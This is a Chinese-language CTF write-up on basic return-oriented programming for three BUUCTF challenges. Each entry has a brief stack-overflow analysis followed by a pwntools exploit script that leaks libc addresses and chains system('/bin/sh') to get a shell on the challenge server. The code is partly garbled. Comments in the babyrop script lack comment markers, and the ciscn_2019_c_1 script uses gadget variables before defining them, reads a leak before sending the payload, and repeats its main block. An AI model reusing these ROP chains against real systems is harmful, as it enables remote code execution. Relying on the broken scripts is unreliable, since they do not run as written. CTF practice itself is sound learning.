基本ROP
# get_started_3dsctf_2016
首先例行检查,是 32 位程序,而且栈溢出是可行的
接下来进入 IDA 分析,我们可以看到一个明显的栈溢出漏洞
接下来寻找有没有后门函数,发现是有的,main 函数之上有个 get_flag 函数
点进去分析,这个函数需要传入两个参数,只要等于以下数字就可以拿到 flag
我们可以根据如此就写下脚本,但我们发现这其实是不行的,经百度是原来的函数没有正常退出所导致的,所以我们需要先退出 gets 函数再传入参数
所以我们先找到可以结束 gets 函数的函数即 exit 函数
我们在调用后门函数之后使用 exit 函数就行了 exp 如下
from pwn import *
context.log_level ="debug"
#p = process("get_started_3dsctf_2016")
p = remote("node3.buuoj.cn",27286)
get_flag = 0x080489A0
exit = 0x0804E6A0
payload = "a"*0x38 +p32(get_flag)+p32(exit) + p32(814536271)+p32(425138641)
p.sendline(payload)
p.interactive()
# babyrop
首先例行检查,32 位程序,可以栈溢出,进入主要函数分析,这里我们先要进行一波绕过
strncmp 函数,对字符进行比较时会被 “/x00” 截断
这次输入我们再需要做点事情才能进行下一步 rop,因为其返回值为 v5 也是栈上的变量,直接用 IDA 查看栈分布,发现 v5 就在下面,那么我们可以直接覆盖掉
具体覆盖的值在下一个判断,我们可以看到 else 语句时,我们覆盖掉的值减去 0xe7 便是我们可以构造的 rop 链长度,所以我们尽量往大处覆盖
在这之后便是正常的 rop,Exp 如下
from pwn import *
from LibcSearcher import LibcSearcher #查libc的库
import pwnlib
context.log_level = "debug"
p = remote("node3.buuoj.cn",27117)
elf = ELF('./babyrop')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = 0x08048825
payload1 = b"\x00"*7+p32(11451) #第一次输入 截断+覆盖
payload2 = "a"*0xe7 + "niya" +p32(puts_plt) + p32(main) + p32(puts_got)
#第二次输入,泄露puts函数的地址,返回到main函数继续rop
p.sendline(payload1)
p.sendlineafter ("ct\n",payload2)
puts_addr = u32(p.recv(4)) 接收4个字节将其解包作为puts函数地址
print(hex(puts_addr))
libc = LibcSearcher('puts',puts_addr) 通过找到的puts函数寻找出libc
libc_base = puts_addr - libc.dump('puts') #计算基地址
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
payload3 = "a"*0xe7 + "niya" + p32(system_addr)+p32(0) + p32(binsh_addr)
p.sendline(payload1)
p.sendlineafter("ct\n",payload3)
p.interactive()
# ciscn_2019_c_1
首先我们对程序进行检查,64 位程序且只开了栈不可执行,那么我们找到溢出点便可以进行溢出
进入 IDA 进行分析,我们可以看到当用户选择 1 时会进入如下函数
我们可以明显地看到溢出点便是这个 gets 函数,之后就是愉快的构造 rop 链的环节,我们首先去寻找可以输出的函数去通过泄露 libc,我们很快就可以看到一个 puts 函数,puts 函数需要一个参数,这个参数即 puts 的 got 表地址
然后我们需要知道 64 程序的传参方式和 32 位的不大一样,所以我们需要找到控制传参的 gadget 片段,用 ROPgadget --binary ciscn_2019_c_1 搜索
这便是我们需要的片段(因为我们需要传第一个参数到 rdi),泄露之后我们要返回到 main 函数进入下一步 getshell,在此之前我们要通过泄露出的 puts 函数的地址找到 libc 这里我们使用 LibcSearcher 这个库,之后找出 system 地址和 binsh 地址,但我们完成之后发现并不能行得通
到这步为止我们正确地输出了 puts 函数的地址,也找出了 libc 库
最后却提示了 timeout,这是怎么回事呢,这个时候我们可以通过 gdb.attach(p)来进行本地调试,但我选择了百度,发现是 Ubuntu 的栈对齐机制,我们需要再找一个 ret 来平衡栈,修改后成功 getshell
from pwn import *
from LibcSearcher import LibcSearcher
import pwnlib
context.log_level = 'debug'
p = remote("node3.buuoj.cn",25704)
#p = process("./ciscn_2019_c_1")
#gdb.attach(p)
puts_plt = 0x00000000004006E0
puts_got = 0x0000000000602020
main_addr = 0x0000000000400B28
p.recvuntil('Ciphertext\n')
p.recvline()
puts_addr = u64(p.recv(7)[:-1].ljust(8,b'\x00'))
print hex(puts_addr)
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
sys_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
payload2 = "a"*0x58 +p64(ret)+ p64(pop_rdi) + p64(binsh_addr) +p64(sys_addr)
p.sendlineafter("your choice!\n","1")
p.sendlineafter("be encrypted\n",payload2)
p.interactive()
pop_rdi = 0x0000000000400c83
ret = 0x4006b9
payload = "a"*0x58 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) +p64(main_addr)
p.sendlineafter("your choice!\n","1")
p.sendlineafter("be encrypted\n",payload)
p.recvuntil('Ciphertext\n')
p.recvline()
puts_addr = u64(p.recv(7)[:-1].ljust(8,b'\x00'))
print hex(puts_addr)
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
sys_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
payload2 = "a"*0x58 +p64(ret)+ p64(pop_rdi) + p64(binsh_addr) +p64(sys_addr)
p.sendlineafter("your choice!\n","1")
p.sendlineafter("be encrypted\n",payload2)
p.interactive()
本作品采用 知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议 进行许可。